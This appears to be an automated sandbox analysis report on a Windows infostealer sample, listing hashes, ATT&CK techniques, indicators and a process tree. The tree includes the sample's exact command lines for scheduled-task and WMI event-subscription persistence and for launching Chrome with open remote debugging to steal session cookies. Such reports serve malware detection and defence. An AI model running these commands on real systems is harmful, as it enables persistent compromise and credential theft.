93fa5225db652b4511f0c6ec13c55b74680bde9133380c945ea8208873522ef6

Analysis

max time kernel
148s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
22/05/2026, 02:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe
Size 10.8MB
Sample260522-cm8dyscv3l
SHA256 93fa5225db652b4511f0c6ec13c55b74680bde9133380c945ea8208873522ef6
MD5 1ef0239461e56f4bd4c9c62c63424528
SHA1 60219a2f69c43c9daa2dbe52c49f9e92c23c774e
SHA512 91254e8835f896431d20a9409a4eff4c767ca9958bc804e40fa3010b95d715b99ddd6152ee3cde0be97201815ce66308e6fbecb20bf3e982e24f1e966d732dd2
SSDEEP 196608:gJMlaJczJAT5rg7VgfKUXt+bq0c3o8YuQoYbOw:2pcuryVgfKi93PVYx
TLSH
T1A5B6DF31C5087FB8D45A813D23AFD70D567BF7A146B31EC9E1947B82405BAE2BE0906E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Detects executables packed with VMProtect. 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b4bd-4.dat	INDICATOR_EXE_Packed_VMProtect

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
808	powershell.exe
5724	powershell.exe
2628	powershell.exe
3384	powershell.exe
5316	powershell.exe
5024	powershell.exe
6024	powershell.exe
6120	powershell.exe
712	powershell.exe

Uses browser remote debugging 2 TTPs 15 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3244	chrome.exe
3540	chrome.exe
5176	chrome.exe
5320	chrome.exe
5520	chrome.exe
4068	chrome.exe
3424	chrome.exe
2360	chrome.exe
3856	chrome.exe
4636	chrome.exe
6104	chrome.exe
5092	chrome.exe
5612	chrome.exe
5724	chrome.exe
5956	chrome.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoftcfcfd4d1.lnk	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe

Executes dropped EXE 2 IoCs

pid	Process
228	HEVCVideoExt.exe
3024	HEVCVideoExt.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
44	discord.com
113	discord.com
114	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.myip.com
112	api.myip.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3032	powershell.exe
5712	powershell.exe
4280	powershell.exe
3676	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1840	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3276	NETSTAT.EXE

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134238896561765832"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1384	schtasks.exe
1296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
2360	chrome.exe
2360	chrome.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
5712	powershell.exe
5712	powershell.exe
3384	powershell.exe
3384	powershell.exe
5316	powershell.exe
5316	powershell.exe
5024	powershell.exe
5024	powershell.exe
6024	powershell.exe
6024	powershell.exe
6120	powershell.exe
6120	powershell.exe
6120	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
2628	powershell.exe
2628	powershell.exe
4280	powershell.exe
4280	powershell.exe
3676	powershell.exe
3676	powershell.exe
808	powershell.exe
808	powershell.exe
712	powershell.exe
712	powershell.exe
5636	powershell.exe
5636	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe
Token: SeBackupPrivilege	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe
Token: SeIncreaseQuotaPrivilege	1300	wmic.exe
Token: SeSecurityPrivilege	1300	wmic.exe
Token: SeTakeOwnershipPrivilege	1300	wmic.exe
Token: SeLoadDriverPrivilege	1300	wmic.exe
Token: SeSystemProfilePrivilege	1300	wmic.exe
Token: SeSystemtimePrivilege	1300	wmic.exe
Token: SeProfSingleProcessPrivilege	1300	wmic.exe
Token: SeIncBasePriorityPrivilege	1300	wmic.exe
Token: SeCreatePagefilePrivilege	1300	wmic.exe
Token: SeBackupPrivilege	1300	wmic.exe
Token: SeRestorePrivilege	1300	wmic.exe
Token: SeShutdownPrivilege	1300	wmic.exe
Token: SeDebugPrivilege	1300	wmic.exe
Token: SeSystemEnvironmentPrivilege	1300	wmic.exe
Token: SeRemoteShutdownPrivilege	1300	wmic.exe
Token: SeUndockPrivilege	1300	wmic.exe
Token: SeManageVolumePrivilege	1300	wmic.exe
Token: 33	1300	wmic.exe
Token: 34	1300	wmic.exe
Token: 35	1300	wmic.exe
Token: 36	1300	wmic.exe
Token: SeIncreaseQuotaPrivilege	1300	wmic.exe
Token: SeSecurityPrivilege	1300	wmic.exe
Token: SeTakeOwnershipPrivilege	1300	wmic.exe
Token: SeLoadDriverPrivilege	1300	wmic.exe
Token: SeSystemProfilePrivilege	1300	wmic.exe
Token: SeSystemtimePrivilege	1300	wmic.exe
Token: SeProfSingleProcessPrivilege	1300	wmic.exe
Token: SeIncBasePriorityPrivilege	1300	wmic.exe
Token: SeCreatePagefilePrivilege	1300	wmic.exe
Token: SeBackupPrivilege	1300	wmic.exe
Token: SeRestorePrivilege	1300	wmic.exe
Token: SeShutdownPrivilege	1300	wmic.exe
Token: SeDebugPrivilege	1300	wmic.exe
Token: SeSystemEnvironmentPrivilege	1300	wmic.exe
Token: SeRemoteShutdownPrivilege	1300	wmic.exe
Token: SeUndockPrivilege	1300	wmic.exe
Token: SeManageVolumePrivilege	1300	wmic.exe
Token: 33	1300	wmic.exe
Token: 34	1300	wmic.exe
Token: 35	1300	wmic.exe
Token: 36	1300	wmic.exe
Token: SeIncreaseQuotaPrivilege	3756	wmic.exe
Token: SeSecurityPrivilege	3756	wmic.exe
Token: SeTakeOwnershipPrivilege	3756	wmic.exe
Token: SeLoadDriverPrivilege	3756	wmic.exe
Token: SeSystemProfilePrivilege	3756	wmic.exe
Token: SeSystemtimePrivilege	3756	wmic.exe
Token: SeProfSingleProcessPrivilege	3756	wmic.exe
Token: SeIncBasePriorityPrivilege	3756	wmic.exe
Token: SeCreatePagefilePrivilege	3756	wmic.exe
Token: SeBackupPrivilege	3756	wmic.exe
Token: SeRestorePrivilege	3756	wmic.exe
Token: SeShutdownPrivilege	3756	wmic.exe
Token: SeDebugPrivilege	3756	wmic.exe
Token: SeSystemEnvironmentPrivilege	3756	wmic.exe
Token: SeRemoteShutdownPrivilege	3756	wmic.exe
Token: SeUndockPrivilege	3756	wmic.exe
Token: SeManageVolumePrivilege	3756	wmic.exe
Token: 33	3756	wmic.exe
Token: 34	3756	wmic.exe
Token: 35	3756	wmic.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2360	chrome.exe
2360	chrome.exe
2360	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 2060	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	84
PID 2492 wrote to memory of 1384	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	86
PID 2492 wrote to memory of 2004	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	89
PID 2492 wrote to memory of 1296	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	91
PID 2492 wrote to memory of 1300	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	93
PID 2492 wrote to memory of 3756	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	95
PID 2492 wrote to memory of 3232	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	97
PID 2492 wrote to memory of 4800	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	99
PID 2492 wrote to memory of 240	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	103
PID 2492 wrote to memory of 2128	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	106
PID 2128 wrote to memory of 1452	2128	net.exe	108
PID 2492 wrote to memory of 2360	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	116
PID 2360 wrote to memory of 1588	2360	chrome.exe	117
PID 2360 wrote to memory of 3140	2360	chrome.exe	118
PID 2360 wrote to memory of 3140	2360	chrome.exe	118
PID 2360 wrote to memory of 1840	2360	chrome.exe	119
PID 2360 wrote to memory of 3272	2360	chrome.exe	120
PID 2360 wrote to memory of 3272	2360	chrome.exe	120
PID 2360 wrote to memory of 5092	2360	chrome.exe	121
PID 2360 wrote to memory of 5092	2360	chrome.exe	121
PID 2360 wrote to memory of 3856	2360	chrome.exe	122
PID 2360 wrote to memory of 3856	2360	chrome.exe	122
PID 2360 wrote to memory of 4636	2360	chrome.exe	124
PID 2360 wrote to memory of 4636	2360	chrome.exe	124
PID 2360 wrote to memory of 3244	2360	chrome.exe	125
PID 2360 wrote to memory of 3244	2360	chrome.exe	125
PID 2360 wrote to memory of 816	2360	chrome.exe	126
PID 2360 wrote to memory of 816	2360	chrome.exe	126
PID 2492 wrote to memory of 1776	2492	2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe	127
PID 1776 wrote to memory of 3276	1776	cmd.exe	129
PID 1776 wrote to memory of 4684	1776	cmd.exe	130
PID 2360 wrote to memory of 4068	2360	chrome.exe	146
PID 2360 wrote to memory of 3540	2360	chrome.exe	132
PID 2360 wrote to memory of 3540	2360	chrome.exe	132
PID 2360 wrote to memory of 3980	2360	chrome.exe	133
PID 2360 wrote to memory of 3980	2360	chrome.exe	133
PID 2360 wrote to memory of 5176	2360	chrome.exe	134
PID 2360 wrote to memory of 5176	2360	chrome.exe	134
PID 2360 wrote to memory of 5268	2360	chrome.exe	135
PID 2360 wrote to memory of 5268	2360	chrome.exe	135
PID 2360 wrote to memory of 5320	2360	chrome.exe	136
PID 2360 wrote to memory of 5320	2360	chrome.exe	136
PID 2360 wrote to memory of 5520	2360	chrome.exe	137
PID 2360 wrote to memory of 5520	2360	chrome.exe	137
PID 2360 wrote to memory of 5612	2360	chrome.exe	138
PID 2360 wrote to memory of 5612	2360	chrome.exe	138
PID 2360 wrote to memory of 5724	2360	chrome.exe	140
PID 2360 wrote to memory of 5724	2360	chrome.exe	140
PID 2360 wrote to memory of 5956	2360	chrome.exe	141
PID 2360 wrote to memory of 5956	2360	chrome.exe	141
PID 2360 wrote to memory of 6040	2360	chrome.exe	142
PID 2360 wrote to memory of 6048	2360	chrome.exe	143
PID 2360 wrote to memory of 6040	2360	chrome.exe	142
PID 2360 wrote to memory of 6048	2360	chrome.exe	143
PID 2360 wrote to memory of 5680	2360	chrome.exe	144
PID 2360 wrote to memory of 5680	2360	chrome.exe	144
PID 2360 wrote to memory of 5740	2360	chrome.exe	145
PID 2360 wrote to memory of 5740	2360	chrome.exe	145
PID 2360 wrote to memory of 4068	2360	chrome.exe	146
PID 2360 wrote to memory of 4068	2360	chrome.exe	146
PID 2360 wrote to memory of 3424	2360	chrome.exe	147
PID 2360 wrote to memory of 3424	2360	chrome.exe	147
PID 2360 wrote to memory of 6104	2360	chrome.exe	148
PID 2360 wrote to memory of 6104	2360	chrome.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-22_1ef0239461e56f4bd4c9c62c63424528_akira_icedid_rusty-stealer_ryuk.exe"
1⤵
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Query /TN \Microsoft\Windows\ReFsDedupSvc\Initialization. /V /FO LIST
  2⤵
  PID:2060
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN \Microsoft\Windows\ReFsDedupSvc\Initialization. /TR C:\Users\Admin\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb5c8bbwe\pkg69\HEVCVideoExt.exe /SC MINUTE /MO 14 /ST 03:13 /RL HIGHEST /F /RU XZKWEGSV\Admin /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1384
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Query /TN \Microsoft\Windows\ReFsDedupSvc\Initialization. /XML
  2⤵
  PID:2004
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN \Microsoft\Windows\ReFsDedupSvc\Initialization. /XML C:\Users\Admin\AppData\Local\Temp\task_2492.xml /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __EventFilter WHERE Name='BVTFilter4a178f9d' GET Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1300
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __EventFilter CREATE "Name='BVTFilter4a178f9d', EventNameSpace='root\\\\cimv2', QueryLanguage='WQL', Query='SELECT * FROM __InstanceModificationEvent WITHIN 100 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System''"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH CommandLineEventConsumer CREATE "Name='BVTConsumer4a178f9d', CommandLineTemplate='C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_1wekyb8f8bbwe\cachef0\OfficeHub.exe'"
  2⤵
  PID:3232
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" /NAMESPACE:\\root\subscription PATH __FilterToConsumerBinding CREATE "Filter=\\\"__EventFilter.Name=\\\\\\\"BVTFilter4a178f9d\\\\\\\"\\\" , Consumer=\\\"CommandLineEventConsumer.Name=\\\\\\\"BVTConsumer4a178f9d\\\\\\\"\\\""
  2⤵
  PID:4800
- C:\Windows\system32\whoami.exe
  "whoami"
  2⤵
  PID:240
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --profile-directory="Default" --disable-gpu --new-window --remote-debugging-port=9435 --remote-debugging-address=0.0.0.0 --no-first-run --no-default-browser-check --disable-features=IsolateOrigins,site-per-process,SitePerProcess --mute-audio about:blanky
  2⤵
  - Uses browser remote debugging
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\40c439114224384d /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\40c439114224384d\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\40c439114224384d --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0x90,0x110,0x7ffa2679c728,0x7ffa2679c734,0x7ffa2679c740
    3⤵
    PID:1588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1692,i,5580517821136156950,11736744931561889426,262144 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=1940 /prefetch:2
    3⤵
    PID:3140
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=2160,i,16355226479548054798,6060114667206534254,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=2304,i,16817394609464516952,5900307481394090364,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:13
    3⤵
    PID:3272
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3236,i,15323664432378029093,5566615240637874762,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3732,i,1158098776775683802,14804652634832284666,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:3856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4472,i,14283220758148986950,8489674586490976446,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:9
    3⤵
    - Uses browser remote debugging
    PID:4636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4452,i,10125722306686722263,9789913221344253046,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=4904,i,2219003201876803845,2101323095916739926,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:14
    3⤵
    PID:816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5456,i,5197054171351094044,10995953938484496064,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:14
    3⤵
    PID:4068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5572,i,14062092734535524661,9075283653180255632,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5708,i,7915392918911029043,9107211810664523093,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:14
    3⤵
    PID:3980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5560,i,14168358360861452882,14356732064765570805,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --force-high-res-timeticks=disabled --subproc-heap-profiling --metrics-shmem-handle=5596,i,4931734279132856689,2725823984650927796,524288 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
    3⤵
    PID:5268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\40c439114224384d" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --subproc-heap-profiling --remote-debugging-port=9435 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5576,i,14462773997921564430,9069018708991736984,2097152 --field-trial-handle=1948,i,15265200781811849900,10315637910957490378,262144 --disable-features=IsolateOrigins,SitePerProcess,site-per-process --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5320
